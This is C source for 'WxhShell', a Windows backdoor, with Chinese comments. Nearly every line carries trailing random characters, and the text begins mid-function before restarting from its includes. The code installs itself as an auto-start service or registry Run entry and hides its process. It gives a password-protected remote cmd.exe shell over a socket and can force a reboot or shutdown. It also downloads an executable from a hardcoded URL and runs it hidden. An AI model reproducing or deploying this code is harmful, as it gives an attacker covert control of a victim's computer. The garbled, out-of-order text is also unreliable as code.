    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :-1 i1d  
    if(Boot(SHUTDOWN)) mbO.Kyfen  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RMBPm*H  
    else { hdxq@%Vs  
    closesocket(wsh); 7By&cdl  
    ExitThread(0); oF(|NS^  
    } UN`O*(k[  
    break; rs:a^W5t  
    } SR { KL#NC  
  // 获取shell AJ85[~(lX  
  case 's': { LW+^m6O  
    CmdShell(wsh); hN.{H:skL)  
    closesocket(wsh); hx sW9  
    ExitThread(0); <qCfw>%2F  
    break; 3[iHe+U(  
  } %x|0<@b7-  
  // 退出 UoKXo*W2  
  case 'x': { Wj31mV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _9"%;:t  
    CloseIt(wsh); $oH?7sj  
    break; +:m'  
    } ?h'd\.j{  
  // 离开 ?-9It|R  
  case 'q': { hdx"/.s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); PkxhR;4  
    closesocket(wsh); r WPoR/M  
    WSACleanup(); x<[W9Z'~?9  
    exit(1); 0]`%i G|  
    break; Y` tB5P  
        } x8E!Ko](  
  } ^Euqy,8}  
  } _9b;8%? Yf  
:/FT>UCL  
  // 提示信息 ##qs{s^ ]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :<>=,`vQD  
} ~> |o3&G{  
  } [78^:q-/0  
uOprA`3  
  return; j43-YdCJ  
} @j?)uJ0Q  
,.&y-?  
// shell模块句柄 jsnk*>j  
int CmdShell(SOCKET sock) ayoqitXD?  
{ 84u %_4/  
STARTUPINFO si; R3gg{hQ  
ZeroMemory(&si,sizeof(si)); 8iwqy0<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tJ!s/|u(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NU$?BiB?R  
PROCESS_INFORMATION ProcessInfo; 8^6dK  
char cmdline[]="cmd"; ^K n{L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xdd;!HK,  
  return 0; XKepk? E  
} P|4qbm4%O,  
khtYn.eaL  
// 自身启动模式 \t\ZyPxn  
int StartFromService(void) V.Ki$0>  
{ O %?d0K  
typedef struct W4o$J4IX{  
{ QAmb_:^"d  
  DWORD ExitStatus; )Y@mL/_  
  DWORD PebBaseAddress; W: vw.  
  DWORD AffinityMask; tgB\;nbB  
  DWORD BasePriority; ?:XbZ"25pJ  
  ULONG UniqueProcessId; "OO"Ab{t  
  ULONG InheritedFromUniqueProcessId; l9Sx'<  
}   PROCESS_BASIC_INFORMATION; $M 1/74  
T`.RP&2/d  
PROCNTQSIP NtQueryInformationProcess; or{X{_X7  
%>Y86>mVz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P n|*(sTl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; beCTOmC  
~]&,v|g&  
  HANDLE             hProcess; l d4#jV ei  
  PROCESS_BASIC_INFORMATION pbi; -<Zs7(  
S8$kxQg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QvN=<V  
  if(NULL == hInst ) return 0; W_ hckq.  
# ^~[\8v>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N++jI(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (:2,Rr1"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `cBV+00YS  
m?Qr)F_M  
  if (!NtQueryInformationProcess) return 0; 3>t^Xu~  
ME%W,B.|"s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jk'.Gz  
  if(!hProcess) return 0; (( D*kd"  
T,eP&IN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x O~t  
4#^?-6  
  CloseHandle(hProcess); \E3e vU  
!9knF t43  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k{q4Zz[  
if(hProcess==NULL) return 0; <i(<|/ $  
WfDpeXdO  
HMODULE hMod; J` J^C  
char procName[255]; kt*""&R  
unsigned long cbNeeded; LCMCpEtY*K  
3A(sT}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }+1Y>W7q  
8Vb.%f &I  
  CloseHandle(hProcess); {Bb:S"7NX  
vhQIkB8  
if(strstr(procName,"services")) return 1; // 以服务启动 Rg!Fu  
]c'12 g]h  
  return 0; // 注册表启动 E1uyMh-dy  
} w[S!U<9/  
 8~>5k  
// 主模块 }t^N|I  
int StartWxhshell(LPSTR lpCmdLine) k[p7)ec  
{ 5 UQbd8  
  SOCKET wsl; NY`$D}Bi  
BOOL val=TRUE; ,>rr|O  
  int port=0; &>m# "A\^  
  struct sockaddr_in door; N5%zbfKM  
~;*SW[4  
  if(wscfg.ws_autoins) Install(); SXW8p>1Jw  
,c;u]  
port=atoi(lpCmdLine); :DlgNR`bq  
t<|S7EqIL  
if(port<=0) port=wscfg.ws_port; &(] @L\A  
1dy>a=W  
  WSADATA data; 9$u'2TV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g5 J[ut  
z"@yE*6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !5;A.f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jeM/8~^4-  
  door.sin_family = AF_INET; [8o!X)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^}gQh#  
  door.sin_port = htons(port); m6 )sX&  
kt ILKpHt"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lStYfO:<'v  
closesocket(wsl); JQhw>H9&  
return 1; :q xd])-  
} U?}>A5H  
w,t>M_( N  
  if(listen(wsl,2) == INVALID_SOCKET) { =&J 7 'nDP  
closesocket(wsl); >+ZG {'!j  
return 1; Gqz<;y  
} ;gC.fpu  
  Wxhshell(wsl); #=G[ ~m\  
  WSACleanup();  .UUY9@  
+x3T^G  
return 0; Sj$XRkbj:  
Uo!#p'<w)p  
} H|1owmbD  
I}#_Jt3R  
// 以NT服务方式启动 5gPcsn"D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $&@L[[xl  
{ 19u'{/Y"  
DWORD   status = 0; LvsNU0x  
  DWORD   specificError = 0xfffffff; =X0"!y"  
/~49.}yt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q^e4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9D2}heTN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CO` %eL ~  
  serviceStatus.dwWin32ExitCode     = 0; )Bl0 W  
  serviceStatus.dwServiceSpecificExitCode = 0; b0A*zQA_)  
  serviceStatus.dwCheckPoint       = 0; UKBVCAK  
  serviceStatus.dwWaitHint       = 0; }w0>mA0=H  
xMAfa>]{n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  i,{'}B  
  if (hServiceStatusHandle==0) return; _\9|acFT2O  
q\P"AlpC!  
status = GetLastError(); LG0z|x(  
  if (status!=NO_ERROR) [84f[`!Ui  
{ ]ZQ3|ZJ?<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "QWF&-kAI  
    serviceStatus.dwCheckPoint       = 0; =,/08Cs  
    serviceStatus.dwWaitHint       = 0; D{]t50a.  
    serviceStatus.dwWin32ExitCode     = status; &vf%E@<  
    serviceStatus.dwServiceSpecificExitCode = specificError; GvL)SVv?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E,F'k2yU  
    return; 1 h.=c  
  } \a|Fh hI  
P,2FH2Eyj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Hqel1J  
  serviceStatus.dwCheckPoint       = 0; ;^q@w  
  serviceStatus.dwWaitHint       = 0; j{i3lGaN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7gLN7_2  
} : "|M  
V'XmMn)!  
// 处理NT服务事件,比如:启动、停止 T+OQa+E@P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \,-t]$9  
{ e;y\v/A  
switch(fdwControl) yEnurq%J  
{ lzQmD/i*  
case SERVICE_CONTROL_STOP: . C g2Y  
  serviceStatus.dwWin32ExitCode = 0; 1ke H1[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FCC9Ht8U?  
  serviceStatus.dwCheckPoint   = 0; I.[2-~yf  
  serviceStatus.dwWaitHint     = 0; &i&k 4  
  { QJL%J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DS@ZE Q`F  
  } lG\6z"K  
  return; tSr.0'CE  
case SERVICE_CONTROL_PAUSE: /'V(F* g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,cbCt  
  break; HC4vet  
case SERVICE_CONTROL_CONTINUE: Svs!C+:le  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Osb#<9{}  
  break; :u%Jrc (W  
case SERVICE_CONTROL_INTERROGATE: 4,8=0[eRG  
  break; N3D{t\hg  
}; 1@&i ju5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?onaJ=mT  
} 5J d7<AO_  
EJM6TI"  
// 标准应用程序主函数 gWxpGW^eZ~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MZyzc{c,  
{ "f/Su(6{0  
5'JONw'\  
// 获取操作系统版本 Qi 3di  
OsIsNt=GetOsVer(); ^xW u7q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Vv"JN?dHi  
aZ[ aZU  
  // 从命令行安装 1:7 uS.  
  if(strpbrk(lpCmdLine,"iI")) Install(); +d7sy0  
n+C]&6-b  
  // 下载执行文件 qSB]Zm<  
if(wscfg.ws_downexe) { 8 JOfx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'y(;:Kc  
  WinExec(wscfg.ws_filenam,SW_HIDE); ea"!:cL(g  
} o"^+i#H!  
b51{sL  
if(!OsIsNt) { hJr cy!P<a  
// 如果时win9x,隐藏进程并且设置为注册表启动 B0_[bQoc1  
HideProc(); Ck71N3~W  
StartWxhshell(lpCmdLine); s*"Yi~  
} O~E6"v Q  
else 334UMH__  
  if(StartFromService()) y\=(;]S'  
  // 以服务方式启动 V'kCd4  
  StartServiceCtrlDispatcher(DispatchTable); ^hG Y,\K9  
else sFd"VRAV~E  
  // 普通方式启动 "|{3V:e>a  
  StartWxhshell(lpCmdLine); < r6e23  
av-l_iE  
return 0; {[r}&^K15  
} (zW;&A  
^Z?X\t  
vx:MLmZ.  
L*;XjacI]  
=========================================== ]2^tV.^S^  
8Iz-YG~%3  
f s8nYgv|Q  
c6IFt4)g  
h5+qP"n!?q  
K"p$ga{  
" >Oary  
BXNt@%  
#include <stdio.h> / v";u)  
#include <string.h> Y,-?oBY  
#include <windows.h> L0v& m  
#include <winsock2.h> \,:3bY_d  
#include <winsvc.h> ^%)H;  
#include <urlmon.h> r?{$k3Vl  
tc go 'V  
#pragma comment (lib, "Ws2_32.lib") $U,`M"  
#pragma comment (lib, "urlmon.lib") 8vzjPWu  
eY3l^Su1  
#define MAX_USER   100 // 最大客户端连接数 2h<{~;  
#define BUF_SOCK   200 // sock buffer .rfufx9Sw  
#define KEY_BUFF   255 // 输入 buffer {fkW0VB;  
K\Oz ~,z  
#define REBOOT     0   // 重启 -7 GF2 @  
#define SHUTDOWN   1   // 关机 6kW<i,A -  
1-_op !N  
#define DEF_PORT   5000 // 监听端口 5gZEcJ  
)XB31^  
#define REG_LEN     16   // 注册表键长度 O]ZP- WG  
#define SVC_LEN     80   // NT服务名长度 ' 0iXx   
|K},f,  
// 从dll定义API W$&kOdD!$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Au+SCj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v3b[08 F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6pkZ8Vp:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5O.dRp7d J  
$=>(7 =l_  
// wxhshell配置信息 P4"Pb\o*  
struct WSCFG { B7:8%r/  
  int ws_port;         // 监听端口 %GRD3S  
  char ws_passstr[REG_LEN]; // 口令 |aH;@V  
  int ws_autoins;       // 安装标记, 1=yes 0=no j@4 yRl ^  
  char ws_regname[REG_LEN]; // 注册表键名 ]Y#$!fIx  
  char ws_svcname[REG_LEN]; // 服务名 txF)R[dZK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `;[ j`v8O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JCjQR`)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]+1?T)<!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6S-1Wc4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "NUl7ce.R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?klV;+  
.C avb  
}; n^8LF9r  
t;P%&:"@M  
// default Wxhshell configuration DNsDEU  
struct WSCFG wscfg={DEF_PORT, 4"$K66yk@  
    "xuhuanlingzhe", >KjyxJ7  
    1, % K$om|]p  
    "Wxhshell", uzf@49m]m  
    "Wxhshell", g8 (zvG;Y  
            "WxhShell Service", |_&Tu#er3  
    "Wrsky Windows CmdShell Service", e:9CD-  
    "Please Input Your Password: ", k+xj 2)d7  
  1, a6K1-SR^6)  
  "http://www.wrsky.com/wxhshell.exe", "=l<%em  
  "Wxhshell.exe" P;%4Imq3  
    }; 7aH E:Dnwp  
liEb(<$a  
// 消息定义模块 DlB"o.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hZ0p /Bdv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0qXkWGB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LOY+^  
char *msg_ws_ext="\n\rExit."; L8<Yk`jx  
char *msg_ws_end="\n\rQuit."; 3 y!yz3E  
char *msg_ws_boot="\n\rReboot..."; ;Qpp`  
char *msg_ws_poff="\n\rShutdown..."; S~WsGLF s  
char *msg_ws_down="\n\rSave to "; [ m*=Q  
]h0Fv-[A  
char *msg_ws_err="\n\rErr!"; b6Jv|1w'  
char *msg_ws_ok="\n\rOK!"; z/bJDSQ  
#u8|cs!  
char ExeFile[MAX_PATH]; jr@u  
int nUser = 0; )|>LSKT El  
HANDLE handles[MAX_USER]; gi::?ET/.  
int OsIsNt; D#>+]}5@x  
pdnkHR$  
SERVICE_STATUS       serviceStatus; Xg*IOhF6x  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lk $S"OH!  
3c5=>'^F  
// 函数声明 xyO]Evg  
int Install(void); ygm4Aj>  
int Uninstall(void); h.Cr;w,2R  
int DownloadFile(char *sURL, SOCKET wsh); h:QKd!Gq  
int Boot(int flag); *uYnu|UQH  
void HideProc(void); q2VQS1R`8  
int GetOsVer(void); Jhbkp?Zli  
int Wxhshell(SOCKET wsl); OtuOT=%  
void TalkWithClient(void *cs); H-%)r&"vn  
int CmdShell(SOCKET sock); MF>1u%  
int StartFromService(void); ?>lvV+3^`  
int StartWxhshell(LPSTR lpCmdLine); u@SE)qg  
a jy.K'B*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >SJ# rZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8Rq+eOP=S  
<fX]`57Dc`  
// 数据结构和表定义 }{*((@GY}  
SERVICE_TABLE_ENTRY DispatchTable[] = Wx}+Vq<q  
{ *#j+,q!X  
{wscfg.ws_svcname, NTServiceMain}, &wj;:f  
{NULL, NULL} ,RFcR[ak  
}; lhm=(7Y  
wAE ,mw  
// 自我安装 m ys5B}  
int Install(void) =re1xR!E5  
{ Y$3H$F.+  
  char svExeFile[MAX_PATH]; mq$mB1$3u  
  HKEY key; CFJ F}aW  
  strcpy(svExeFile,ExeFile); zn5  
x1)G!i  
// 如果是win9x系统,修改注册表设为自启动 O`e0r%SJ  
if(!OsIsNt) { DJ"O`qNV3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A3%s5`vNvH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >'#G$f  
  RegCloseKey(key); $rf4h]&<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dbGW`_zQ4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }?B=R#5  
  RegCloseKey(key); 84[T!cDk  
  return 0; T2# W=P  
    } LP bZ.  
  } (j-[m\wF  
} L{$ZL&  
else { C)> ])'S  
gBRhO^Sz  
// 如果是NT以上系统,安装为系统服务 )f4D2c&VE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Vm]ltiTVk  
if (schSCManager!=0) 11}fPWK  
{ gkUG*Zw  
  SC_HANDLE schService = CreateService ~o`I[-g)  
  ( 0;'kv |  
  schSCManager, 4cK6B)X  
  wscfg.ws_svcname, UJkg|eu  
  wscfg.ws_svcdisp, Z~o*$tF/  
  SERVICE_ALL_ACCESS, )AOD~T4s7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !Y_"q^5GG'  
  SERVICE_AUTO_START, iK%<0m  
  SERVICE_ERROR_NORMAL, tx;DMxN!W  
  svExeFile, ' >[KVvm  
  NULL, Mn+;3qo{6  
  NULL, BDY@&vF  
  NULL, }x4,a6^  
  NULL, 1E!0N`E  
  NULL -}k'a{sj=  
  ); Ee>P*7*jB  
  if (schService!=0) h+|3\>/@9{  
  { DsY-JBDvoz  
  CloseServiceHandle(schService); MGIpo[  
  CloseServiceHandle(schSCManager); =tl[?6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s}A)sBsaP3  
  strcat(svExeFile,wscfg.ws_svcname); W#|]m=2W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?}sh@;]*h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yG58?5\9  
  RegCloseKey(key); #5O'XH5_  
  return 0; V%&t'H{  
    } -CW&!oW  
  } Xg.'<.!g0  
  CloseServiceHandle(schSCManager); /E(H`;DG  
} 2XrPgq'  
} xd8UdQ, lt  
=9n$ at$l@  
return 1; &9\z!r6mc  
} "/hM&  
x Yr-,$/  
// 自我卸载 {e[S?1t=l  
int Uninstall(void) J) v~  
{ _#9:cH*  
  HKEY key; jJl6H~ "q  
9BB<. p  
if(!OsIsNt) { KC o<%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y-&r_s_~  
  RegDeleteValue(key,wscfg.ws_regname); ,s0E]](  
  RegCloseKey(key); %[4/UD=7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |E!()j=  
  RegDeleteValue(key,wscfg.ws_regname); IXt2R~b  
  RegCloseKey(key); 9"2.2li5$  
  return 0; u3kK!2cdP  
  } UC^&& 2maI  
} [.B)W);  
} (utm+*V,  
else { bJe*J\){  
EDvK9J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &$  F0  
if (schSCManager!=0) ayyn6a8  
{ YE&"IH]lF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); La? q>  
  if (schService!=0) c;e-[F7  
  { Ld? tVi  
  if(DeleteService(schService)!=0) { |x["fWK  
  CloseServiceHandle(schService); =<(:5ive  
  CloseServiceHandle(schSCManager); C1P{4 U  
  return 0; 7P9n. [  
  } 1Nw&Z0MI  
  CloseServiceHandle(schService); ?UQVmE&  
  } y|q4d(P.  
  CloseServiceHandle(schSCManager); d9|dHJf  
} #/@U|g  
} ([UuO}m-  
xBU\$ToC  
return 1; ;OmmXygl  
} Jl&bWp^3  
&KgR;.R^J  
// 从指定url下载文件 +] B  
int DownloadFile(char *sURL, SOCKET wsh) *wP8)yv7  
{ +FQ:Q+  
  HRESULT hr; #})Oz| c  
char seps[]= "/"; $-"AMZ899  
char *token; :ORCsl6-  
char *file; 8+ eZU<\B(  
char myURL[MAX_PATH]; i9k7rEW^  
char myFILE[MAX_PATH]; y#HD1SZ  
o^4qY  
strcpy(myURL,sURL); KM 4w{  
  token=strtok(myURL,seps); F }pS'Y  
  while(token!=NULL) ADA%$NhJ!  
  { O+`^]D7  
    file=token; >h<eEv/  
  token=strtok(NULL,seps); gB&]kHLO  
  } 2*n2!7jZ*  
- t4"BD  
GetCurrentDirectory(MAX_PATH,myFILE); :q~qRRmjBe  
strcat(myFILE, "\\"); <qZXpQ#  
strcat(myFILE, file); w>; :mf  
  send(wsh,myFILE,strlen(myFILE),0); _baqN!N  
send(wsh,"...",3,0); 'LFHZ&-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %9[GP7?  
  if(hr==S_OK) (y^oGY;  
return 0; Ol9U^  
else Y_>z"T  
return 1; BzF.KCScs  
51.F,uY  
} a\vf{2  
V|}9d:&O  
// 系统电源模块 +^gh3Y  
int Boot(int flag) /`hr)  
{ p]`pUw{  
  HANDLE hToken; J=*y>Zt-b  
  TOKEN_PRIVILEGES tkp;  g}Hk4+  
OnH>g"  
  if(OsIsNt) { p1v:X?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0-0 )E&2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #"ayq,GC<  
    tkp.PrivilegeCount = 1; |/arxb&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A/{pG#if]3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); IG`~^-}7lR  
if(flag==REBOOT) { 2P$lXGjh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5YC56,X  
  return 0; I.R3?+tZ  
} FO_nS   
else { =G}_PRn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =/6.4;8  
  return 0; |{PQ0DS  
} k}ps-w6:  
  } }yx{13:[  
  else { cLr? B;FS  
if(flag==REBOOT) { <Ml,H%F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T_Z@uZom.  
  return 0; $DA0lY\  
} @[=*w`1  
else { Q[J,j+f<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M42Zpb].  
  return 0; a[";K,  
} huvg'Y t  
} 1a_;[.s  
7b+OIZB  
return 1; H!F'I)1  
} )FWF T:P~  
:1_hQeq  
// win9x进程隐藏模块  =e$ #m;  
void HideProc(void) zIF &ZYP  
{ lU Uq|Qr  
`Kym{og  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -B4uK  
  if ( hKernel != NULL ) C$*`c6R  
  { n,PHfydqX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]~?k%Mpw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wrqdQ} @(  
    FreeLibrary(hKernel); &@dMk4BH<  
  } ~pzaX8!  
W:(:hT6`j9  
return; MF 5w.@62X  
} v^@L?{" }8  
y{u6t 3  
// 获取操作系统版本 yl 0?Y  
int GetOsVer(void) {6 #3`  
{ O b8[P=  
  OSVERSIONINFO winfo; 3;>(W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m*i~Vjxj-m  
  GetVersionEx(&winfo); L%B+V;<h3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =v:_N.Fh-c  
  return 1; 07(E/A]  
  else ++&F5'?g  
  return 0; $)n{}8^  
} ]2h[.qa  
~%#?;hJ  
// 客户端句柄模块 *}/xy SH3  
int Wxhshell(SOCKET wsl) T"QY@#E  
{ I,YGm  
  SOCKET wsh; "b1_vA]03  
  struct sockaddr_in client; IE_@:]K}Ja  
  DWORD myID; v/m`rc]e  
v~jN,f*  
  while(nUser<MAX_USER) IC}zgvcW  
{ LrPDpTd  
  int nSize=sizeof(client); GC4$9q}C4Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JYSw!!eC  
  if(wsh==INVALID_SOCKET) return 1; ;Ly4Z*!2  
an5Ss@<4AA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Bs##3{ylu  
if(handles[nUser]==0) AP@xZ%;K  
  closesocket(wsh); e. [+xOu`  
else aNq Vs|H  
  nUser++; RLKO0 #  
  } J&3;6I &  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mceSUKI;L  
Ce:R p?  
  return 0; aLsGden|  
} Ix(4<s  
dHp6G^Y  
// 关闭 socket k&~vVx  
void CloseIt(SOCKET wsh) s &.Z;X  
{ il#rdJ1@t  
closesocket(wsh); e<p$Op  
nUser--; ?0?'  
ExitThread(0); _Jp_TvP>  
} qHKZ5w  
Yt#($}p  
// 客户端请求句柄 ko5\*!|:lj  
void TalkWithClient(void *cs) 8p5'}Lq  
{ )j9FB  
]$L[3qA.  
  SOCKET wsh=(SOCKET)cs; +\W"n_PPy  
  char pwd[SVC_LEN]; >^Y 9p~  
  char cmd[KEY_BUFF]; ITsJjcYw  
char chr[1]; JQtH },T r  
int i,j; <!+o8z]  
,88Y1|:X  
  while (nUser < MAX_USER) { -"cN9RF  
xS(sRx+A  
if(wscfg.ws_passstr) { TWs|lhC7!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yq<YGNy!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QqwX Fk  
  //ZeroMemory(pwd,KEY_BUFF); !3b%Q</M H  
      i=0; fk"{G>&8  
  while(i<SVC_LEN) { Ja (/ym^  
ScTqnY$v  
  // 设置超时 'sA&Pm  
  fd_set FdRead; djSN{>S  
  struct timeval TimeOut; /tUl(Fp J`  
  FD_ZERO(&FdRead); 4/h2_  
  FD_SET(wsh,&FdRead); Gt1Up~\s  
  TimeOut.tv_sec=8; Gg!))I+  
  TimeOut.tv_usec=0; jNyC%$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .Yf h*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .U1dcL6  
fC-^[Af)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p;5WLAF  
  pwd=chr[0]; b9Y pUm7#  
  if(chr[0]==0xd || chr[0]==0xa) { +p[~hM6?  
  pwd=0; gO/(/e>P  
  break; JxvwquI  
  } =3T?U_u@  
  i++; }+lxj a]C  
    } Q0--.Q=:Y  
:D,YR(])  
  // 如果是非法用户,关闭 socket ew"Fr1UGYZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7&QVw(:)M  
} oby*.61?5l  
;?[~]"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [a`i{(!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5{5ABV  
OM.^>=  
while(1) { M ?3N  
kzmt'/L8  
  ZeroMemory(cmd,KEY_BUFF); [yyV`&  
U=t'>;(g  
      // 自动支持客户端 telnet标准   VsmL#@E  
  j=0; +sI.GWQ_:  
  while(j<KEY_BUFF) { 3K{8sFDO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P$QjDu-  
  cmd[j]=chr[0]; x3P@AC$\  
  if(chr[0]==0xa || chr[0]==0xd) { _kd |:,  
  cmd[j]=0; aE%VH ;?  
  break; H|Nw)*.  
  } "5YdmBy  
  j++; LBE".+  
    } j"V$J8)[  
35>}$1?-6  
  // 下载文件 |. 6@-h~8  
  if(strstr(cmd,"http://")) { f@{C3E dd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); IF:M_   
  if(DownloadFile(cmd,wsh)) saT9%?4-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %C)JmaQ{9  
  else yRznP)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >ob/@  
  } hG@ys5  
  else { g@2.A;N0  
